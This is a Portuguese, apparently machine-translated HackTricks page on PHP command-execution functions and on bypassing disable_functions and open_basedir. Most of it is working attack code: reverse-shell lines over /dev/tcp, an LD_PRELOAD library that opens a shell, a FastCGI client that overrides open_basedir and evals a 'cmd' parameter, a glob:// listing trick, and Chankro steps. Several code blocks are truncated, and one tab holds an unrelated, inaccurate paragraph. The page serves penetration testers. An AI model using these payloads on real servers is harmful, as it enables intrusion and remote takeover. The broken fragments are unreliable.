# PHP - Funções Úteis & bypass de disable\_functions/open\_basedir
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
## Execução de Comandos e Código PHP ### Execução de Comandos PHP **Nota:** Um webshell php [p0wny-shell](https://github.com/flozz/p0wny-shell/blob/master/shell.php) pode **automaticamente** verificar e contornar as seguintes funções se alguma delas estiver desativada. **exec** - Retorna a última linha da saída dos comandos ```bash echo exec("uname -a"); ``` **passthru** - Passa a saída dos comandos diretamente para o navegador ```bash echo passthru("uname -a"); ``` **sistema** - Passa a saída dos comandos diretamente para o navegador e retorna a última linha ```bash echo system("uname -a"); ``` **shell\_exec** - Retorna a saída dos comandos ```bash echo shell_exec("uname -a"); ``` \`\` (backticks) - Igual a shell\_exec() ```bash echo `uname -a` ``` **popen** - Abre um pipe de leitura ou escrita para o processo de um comando ```bash echo fread(popen("/bin/ls /", "r"), 4096); ``` **proc\_open** - Semelhante ao popen() mas com maior grau de controle ```bash proc_close(proc_open("uname -a",array(),$something)); ``` **preg\_replace** ```php ``` **pcntl\_exec** - Executa um programa (por padrão, em PHP moderno e não tão moderno, você precisa carregar o módulo `pcntl.so` para usar esta função) ```bash pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]); ``` **mail / mb\_send\_mail** - Esta função é usada para enviar e-mails, mas também pode ser abusada para injetar comandos arbitrários dentro do parâmetro `$options`. Isso ocorre porque a **função `mail` do php** geralmente chama o binário `sendmail` dentro do sistema e permite que você **coloque opções extras**. No entanto, você não poderá ver a saída do comando executado, portanto, é recomendável criar um script shell que escreva a saída em um arquivo, execute-o usando o mail e imprima a saída: ```bash file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt'); ``` **dl** - Esta função pode ser usada para carregar dinamicamente uma extensão PHP. Esta função nem sempre estará presente, portanto, você deve verificar se ela está disponível antes de tentar explorá-la. Leia [esta página para aprender como explorar esta função](disable\_functions-bypass-dl-function.md). ### Execução de Código PHP Além do eval, existem outras maneiras de executar código PHP: include/require podem ser usados para execução de código remoto na forma de vulnerabilidades de Inclusão de Arquivo Local e Inclusão de Arquivo Remoto. ```php ${} // If your input gets reflected in any PHP string, it will be executed. eval() assert() // identical to eval() preg_replace('/.*/e',...) // e does an eval() on the match create_function() // Create a function and use eval() include() include_once() require() require_once() $_GET['func_name']($_GET['argument']); $func = new ReflectionFunction($_GET['func_name']); $func->invoke(); // or $func->invokeArgs(array()); // or serialize/unserialize function ``` ## disable\_functions & open\_basedir **Funções desabilitadas** é a configuração que pode ser feita nos arquivos `.ini` no PHP que **proíbe** o uso das **funções** indicadas. **Open basedir** é a configuração que indica ao PHP a pasta que ele pode acessar.\ A configuração do PHP costuma ser feita no caminho _/etc/php7/conf.d_ ou similar. Ambas as configurações podem ser vistas na saída do **`phpinfo()`**: ![](https://0xrick.github.io/images/hackthebox/kryptos/17.png) ![](<../../../../.gitbook/assets/image (493).png>) ## open\_basedir Bypass `open_basedir` irá configurar as pastas que o PHP pode acessar, você **não será capaz de escrever/ler/executar nenhum arquivo fora** dessas pastas, mas também **não será capaz de listar** outros diretórios.\ No entanto, se de alguma forma você conseguir executar código PHP arbitrário, você pode **tentar** o seguinte trecho de **códigos** para tentar **burlar** a restrição. ### Listando diretórios com bypass glob:// Neste primeiro exemplo, o protocolo `glob://` com algum bypass de caminho é usado: ```php __toString(); } $it = new DirectoryIterator("glob:///v??/run/.*"); foreach($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); foreach($file_list as $f){ echo "{$f}
"; } ``` **Nota1**: No caminho, também pode usar `/e??/*` para listar `/etc/*` e qualquer outra pasta.\ **Nota2**: Parece que parte do código está duplicada, mas na verdade é necessário!\ **Nota3**: Este exemplo é útil apenas para listar pastas e não para ler arquivos ### Bypass completo do open\_basedir abusando do FastCGI Se quiser **saber mais sobre PHP-FPM e FastCGI**, pode ler a [primeira seção desta página](disable\_functions-bypass-php-fpm-fastcgi.md).\ Se o **`php-fpm`** estiver configurado, pode abusar dele para contornar completamente o **open\_basedir**: ![](<../../../../.gitbook/assets/image (545).png>) ![](<../../../../.gitbook/assets/image (577).png>) Note que a primeira coisa que precisa fazer é encontrar onde está o **socket unix do php-fpm**. Costuma estar em `/var/run`, então pode **usar o código anterior para listar o diretório e encontrá-lo**.\ Código de [aqui](https://balsn.tw/ctf\_writeup/20190323-0ctf\_tctf2019quals/#wallbreaker-easy). ```php * @version 1.0 */ class FCGIClient { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8; /** * Socket * @var Resource */ private $_sock = null; /** * Host * @var String */ private $_host = null; /** * Port * @var Integer */ private $_port = null; /** * Keep Alive * @var Boolean */ private $_keepAlive = false; /** * Constructor * * @param String $host Host of the FastCGI application * @param Integer $port Port of the FastCGI application */ public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket { $this->_host = $host; $this->_port = $port; } /** * Define whether or not the FastCGI application should keep the connection * alive at the end of a request * * @param Boolean $b true if the connection should stay alive, false otherwise */ public function setKeepAlive($b) { $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); } } /** * Get the keep alive status * * @return Boolean true if the connection should stay alive, false otherwise */ public function getKeepAlive() { return $this->_keepAlive; } /** * Create a connection to the FastCGI application */ private function connect() { if (!$this->_sock) { //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5); $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application'); } } } /** * Build a FastCGI packet * * @param Integer $type Type of the packet * @param String $content Content of the packet * @param Integer $requestId RequestId */ private function buildPacket($type, $content, $requestId = 1) { $clen = strlen($content); return chr(self::VERSION_1) /* version */ . chr($type) /* type */ . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ . chr($requestId & 0xFF) /* requestIdB0 */ . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ . chr($clen & 0xFF) /* contentLengthB0 */ . chr(0) /* paddingLength */ . chr(0) /* reserved */ . $content; /* content */ } /** * Build an FastCGI Name value pair * * @param String $name Name * @param String $value Value * @return String FastCGI Name value pair */ private function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { /* nameLengthB0 */ $nvpair = chr($nlen); } else { /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { /* valueLengthB0 */ $nvpair .= chr($vlen); } else { /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } /* nameData & valueData */ return $nvpair . $name . $value; } /** * Read a set of FastCGI Name value pairs * * @param String $data Data containing the set of FastCGI NVPair * @return array of NVPair */ private function readNvpair($data, $length = null) { $array = array(); if ($length === null) { $length = strlen($data); } $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; } /** * Decode a FastCGI Packet * * @param String $data String containing all the packet * @return array */ private function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; } /** * Read a FastCGI Packet * * @return array */ private function readPacket() { if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=fread($this->_sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; } } if ($resp['paddingLength']) { $buf=fread($this->_sock, $resp['paddingLength']); } return $resp; } else { return false; } } /** * Get Informations on the FastCGI application * * @param array $requestedInfo information to retrieve * @return array */ public function getValues(array $requestedInfo) { $this->connect(); $request = ''; foreach ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); } fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); $resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); } } /** * Execute a request to the FastCGI application * * @param array $params Array of parameters * @param String $stdin Content ```php * @return String */ public function request(array $params, $stdin) { $response = ''; $this->connect(); $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest); } $request .= $this->buildPacket(self::PARAMS, ''); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin); } $request .= $this->buildPacket(self::STDIN, ''); fwrite($this->_sock, $request); do { $resp = $this->readPacket(); if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { $response .= $resp['content']; } } while ($resp && $resp['type'] != self::END_REQUEST); var_dump($resp); if (!is_array($resp)) { throw new Exception('Solicitação inválida'); } switch (ord($resp['content']{4})) { case self::CANT_MPX_CONN: throw new Exception('Este aplicativo não pode multiplexar [CANT_MPX_CONN]'); break; case self::OVERLOADED: throw new Exception('Nova solicitação rejeitada; ocupado demais [OVERLOADED]'); break; case self::UNKNOWN_ROLE: throw new Exception('Valor de função desconhecido [UNKNOWN_ROLE]'); break; case self::REQUEST_COMPLETE: return $response; } } } ?> "; // carga útil php -- Não faz nada $php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input"; //$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php"; $params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SCRIPT_NAME' => $req, 'QUERY_STRING' => 'command='.$_REQUEST['cmd'], 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req, #'DOCUMENT_ROOT' => '/', 'PHP_VALUE' => $php_value, 'SERVER_SOFTWARE' => '80sec/wofeiwo', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9985', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code) ); // print_r($_REQUEST); // print_r($params); //echo "Chamada: $uri\n\n"; echo $client->request($params, $code)."\n"; ?> ``` Este script irá comunicar com o **socket unix do php-fpm** (normalmente localizado em /var/run se o fpm for usado) para executar código arbitrário. As configurações `open_basedir` serão sobrescritas pelo atributo **PHP\_VALUE** que é enviado.\ Observe como `eval` é usado para executar o código PHP que você envia dentro do parâmetro **cmd**.\ Também observe a **linha 324 comentada**, você pode descomentá-la e o **payload se conectará automaticamente ao URL fornecido e executará o código PHP** contido lá.\ Acesse `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` para obter o conteúdo do arquivo `/etc/passwd`. {% hint style="warning" %} Você pode estar pensando que da mesma forma que sobrescrevemos a configuração `open_basedir`, podemos **sobrescrever `disable_functions`**. Bem, tente, mas não funcionará, aparentemente **`disable_functions` só pode ser configurado em um arquivo de configuração php `.ini`** e as alterações que você fizer usando PHP\_VALUE não serão eficazes nessa configuração específica. {% endhint %} ## Bypass de disable\_functions Se você conseguir executar código PHP dentro de uma máquina, provavelmente desejará ir para o próximo nível e **executar comandos do sistema arbitrários**. Nessa situação, é comum descobrir que a maioria ou todas as **funções PHP** que permitem **executar comandos do sistema foram desativadas** em **`disable_functions`.**\ Então, veja como você pode contornar essa restrição (se puder) ### Descoberta automática de bypass Você pode usar a ferramenta [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) e ela indicará qual função (se houver) você pode usar para **burlar** **`disable_functions`**. ### Bypass usando outras funções do sistema Volte ao início desta página e **verifique se alguma das funções de execução de comandos não está desativada e disponível no ambiente**. Se encontrar pelo menos uma delas, poderá usá-la para executar comandos do sistema arbitrários. ### Bypass LD\_PRELOAD É bem conhecido que algumas funções em PHP como `mail()` vão **executar binários dentro do sistema**. Portanto, você pode abusar delas usando a variável de ambiente `LD_PRELOAD` para fazer com que carreguem uma biblioteca arbitrária que pode executar qualquer coisa. #### Funções que podem ser usadas para burlar disable\_functions com LD\_PRELOAD * **`mail`** * **`mb_send_mail`**: Efetivo quando o módulo `php-mbstring` está instalado. * **`imap_mail`**: Funciona se o módulo `php-imap` estiver presente. * **`libvirt_connect`**: Requer o módulo `php-libvirt-php`. * **`gnupg_init`**: Utilizável com o módulo `php-gnupg` instalado. * **`new imagick()`**: Esta classe pode ser abusada para contornar restrições. Técnicas detalhadas de exploração podem ser encontradas em um [**artigo abrangente aqui**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/). Você pode [**encontrar aqui**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) o script de fuzzing que foi usado para encontrar essas funções. Aqui está uma biblioteca que você pode compilar para abusar da variável de ambiente `LD_PRELOAD`: ```php #include #include #include #include uid_t getuid(void){ unsetenv("LD_PRELOAD"); system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\""); return 1; } ``` #### Bypass usando Chankro Para abusar dessa configuração incorreta, você pode usar [**Chankro**](https://github.com/TarlogicSecurity/Chankro). Esta é uma ferramenta que irá **gerar um exploit PHP** que você precisa fazer upload para o servidor vulnerável e executá-lo (acessando via web).\ **Chankro** irá escrever no disco da vítima a **biblioteca e o shell reverso** que você deseja executar e usará o truque\*\*`LD_PRELOAD` + função PHP `mail()`\*\* para executar o shell reverso. Observe que para usar o **Chankro**, `mail` e `putenv` **não podem aparecer na lista de `disable_functions`**.\ No exemplo a seguir, você pode ver como **criar um exploit chankro** para **arquitetura 64 bits**, que irá executar `whoami` e salvar a saída em _/tmp/chankro\_shell.out_, o chankro irá **escrever a biblioteca e o payload** em _/tmp_ e o **exploit final** será chamado de **bicho.php** (esse é o arquivo que você precisa fazer upload para o servidor da vítima): {% tabs %} {% tab title="shell.sh" %} ```php #!/bin/sh whoami > /tmp/chankro_shell.out ``` {% endtab %} {% tab title="Chankro" %}O PHP tem uma função chamada `disable_functions` que pode ser usada para desativar funções específicas no PHP. Isso pode ser útil durante um teste de penetração para impedir que certas funções perigosas sejam executadas. No entanto, é importante observar que essa abordagem pode ser contornada se o PHP estiver configurado com `open_basedir` desativado. Nesse caso, um invasor pode explorar essa vulnerabilidade para contornar a restrição do `disable_functions` e executar funções proibidas. Certifique-se de considerar essa possibilidade ao realizar testes de penetração em ambientes PHP.{% endtab %} ```bash python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php ``` {% endtab %} {% endtabs %} Se você descobrir que a função **mail** está bloqueada pelas funções desativadas, ainda pode ser capaz de usar a função **mb\_send\_mail**.\ Mais informações sobre essa técnica e Chankro aqui: [https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/) ### "Bypass" usando capacidades do PHP Observe que usando o **PHP** você pode **ler e escrever arquivos, criar diretórios e alterar permissões**.\ Você até pode **despejar bancos de dados**.\ Talvez usando o **PHP** para **enumerar** a caixa você possa encontrar uma maneira de escalar privilégios/executar comandos (por exemplo, lendo alguma chave ssh privada). Criei um webshell que facilita muito a realização dessas ações (observe que a maioria dos webshells também oferecerá essas opções): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) ### Bypasses dependentes de módulos/versão Existem várias maneiras de contornar as disable\_functions se algum módulo específico estiver sendo usado ou explorar alguma versão específica do PHP: * [**FastCGI/PHP-FPM (Gerenciador de Processos FastCGI)**](disable\_functions-bypass-php-fpm-fastcgi.md) * [**Bypass com FFI - Interface de Função Estrangeira ativada**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/broken-reference/README.md) * [**Bypass via mem**](disable\_functions-bypass-via-mem.md) * [**mod\_cgi**](disable\_functions-bypass-mod\_cgi.md) * [**Extensão Perl Safe\_mode do PHP**](disable\_functions-bypass-php-perl-extension-safe\_mode-bypass-exploit.md) * [**função dl**](disable\_functions-bypass-dl-function.md) * [**Este exploit**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass) * 5.\* - explorável com pequenas alterações no PoC * 7.0 - todas as versões até o momento * 7.1 - todas as versões até o momento * 7.2 - todas as versões até o momento * 7.3 - todas as versões até o momento * 7.4 - todas as versões até o momento * 8.0 - todas as versões até o momento * [**De 7.0 a 8.0 exploit (apenas Unix)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php) * [**PHP 7.0=7.4 (\*nix)**](disable\_functions-bypass-php-7.0-7.4-nix-only.md#php-7-0-7-4-nix-only) * [**Imagick 3.3.0 PHP >= 5.4**](disable\_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md) * [**Shellsock do PHP 5.x**](disable\_functions-php-5.x-shellshock-exploit.md) * [**PHP 5.2.4 ionCube**](disable\_functions-php-5.2.4-ioncube-extension-exploit.md) * [**PHP <= 5.2.9 Windows**](disable\_functions-bypass-php-less-than-5.2.9-on-windows.md) * [**PHP 5.2.4/5.2.5 cURL**](disable\_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md) * [**PHP 5.2.3 -Win32std**](disable\_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md) * [**Exploit FOpen do PHP 5.2**](disable\_functions-bypass-php-5.2-fopen-exploit.md) * [**PHP 4 >= 4.2.-, PHP 5 pcntl\_exec**](disable\_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl\_exec.md) ### **Ferramenta Automática** O script a seguir tenta alguns dos métodos comentados aqui:\ [https://github.com/l3m0n/Bypass\_Disable\_functions\_Shell/blob/master/shell.php](https://github.com/l3m0n/Bypass\_Disable\_functions\_Shell/blob/master/shell.php) ## Outras funções interessantes do PHP ### Lista de funções que aceitam callbacks Essas funções aceitam um parâmetro de string que poderia ser usado para chamar uma função da escolha do atacante. Dependendo da função, o atacante pode ou não ter a capacidade de passar um parâmetro. Nesse caso, uma função de Divulgação de Informações como phpinfo() poderia ser usada. [Callbacks / Callables](https://www.php.net/manual/en/language.types.callable.php) [Listas a seguir a partir daqui](https://stackoverflow.com/questions/3115559/exploitable-php-functions) ```php // Function => Position of callback arguments 'ob_start' => 0, 'array_diff_uassoc' => -1, 'array_diff_ukey' => -1, 'array_filter' => 1, 'array_intersect_uassoc' => -1, 'array_intersect_ukey' => -1, 'array_map' => 0, 'array_reduce' => 1, 'array_udiff_assoc' => -1, 'array_udiff_uassoc' => array(-1, -2), 'array_udiff' => -1, 'array_uintersect_assoc' => -1, 'array_uintersect_uassoc' => array(-1, -2), 'array_uintersect' => -1, 'array_walk_recursive' => 1, 'array_walk' => 1, 'assert_options' => 1, 'uasort' => 1, 'uksort' => 1, 'usort' => 1, 'preg_replace_callback' => 1, 'spl_autoload_register' => 0, 'iterator_apply' => 1, 'call_user_func' => 0, 'call_user_func_array' => 0, 'register_shutdown_function' => 0, 'register_tick_function' => 0, 'set_error_handler' => 0, 'set_exception_handler' => 0, 'session_set_save_handler' => array(0, 1, 2, 3, 4, 5), 'sqlite_create_aggregate' => array(2, 3), 'sqlite_create_function' => 2, ``` ### Divulgação de Informações A maioria dessas chamadas de função não são pontos de vazamento. Mas pode ser uma vulnerabilidade se algum dos dados retornados for visível para um atacante. Se um atacante puder ver phpinfo(), é definitivamente uma vulnerabilidade. ```php phpinfo posix_mkfifo posix_getlogin posix_ttyname getenv get_current_user proc_get_status get_cfg_var disk_free_space disk_total_space diskfreespace getcwd getlastmo getmygid getmyinode getmypid getmyuid ``` ### Outros ```php extract // Opens the door for register_globals attacks (see study in scarlet). parse_str // works like extract if only one argument is given. putenv ini_set mail // has CRLF injection in the 3rd parameter, opens the door for spam. header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area. proc_nice proc_terminate proc_close pfsockopen fsockopen apache_child_terminate posix_kill posix_mkfifo posix_setpgid posix_setsid posix_setuid ``` ### Funções do Sistema de Arquivos De acordo com o RATS, todas as funções do sistema de arquivos em php são perigosas. Algumas dessas não parecem ser muito úteis para o atacante. Outras são mais úteis do que você pode pensar. Por exemplo, se allow\_url\_fopen=On, então uma URL pode ser usada como um caminho de arquivo, então uma chamada para copy($\_GET\['s'], $\_GET\['d']); pode ser usada para fazer upload de um script PHP em qualquer lugar do sistema. Além disso, se um site for vulnerável a uma solicitação enviada via GET, todas essas funções do sistema de arquivos podem ser abusadas para canalizar um ataque para outro host por meio do seu servidor. **Manipulador de sistema de arquivos aberto** ```php fopen tmpfile bzopen gzopen SplFileObject->__construct ``` **Escrever no sistema de arquivos (parcialmente em combinação com a leitura)** ```php chgrp chmod chown copy file_put_contents lchgrp lchown link mkdir move_uploaded_file rename rmdir symlink tempnam touch unlink imagepng // 2nd parameter is a path. imagewbmp // 2nd parameter is a path. image2wbmp // 2nd parameter is a path. imagejpeg // 2nd parameter is a path. imagexbm // 2nd parameter is a path. imagegif // 2nd parameter is a path. imagegd // 2nd parameter is a path. imagegd2 // 2nd parameter is a path. iptcembed ftp_get ftp_nb_get scandir ``` **Ler do sistema de arquivos** ```php file_exists -- file_get_contents file fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype glob is_dir is_executable is_file is_link is_readable is_uploaded_file is_writable is_writeable linkinfo lstat parse_ini_file pathinfo readfile readlink realpath stat gzfile readgzfile getimagesize imagecreatefromgif imagecreatefromjpeg imagecreatefrompng imagecreatefromwbmp imagecreatefromxbm imagecreatefromxpm ftp_put ftp_nb_put exif_read_data read_exif_data exif_thumbnail exif_imagetype hash_file hash_hmac_file hash_update_file md5_file sha1_file -- highlight_file -- show_source php_strip_whitespace get_meta_tags ```
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.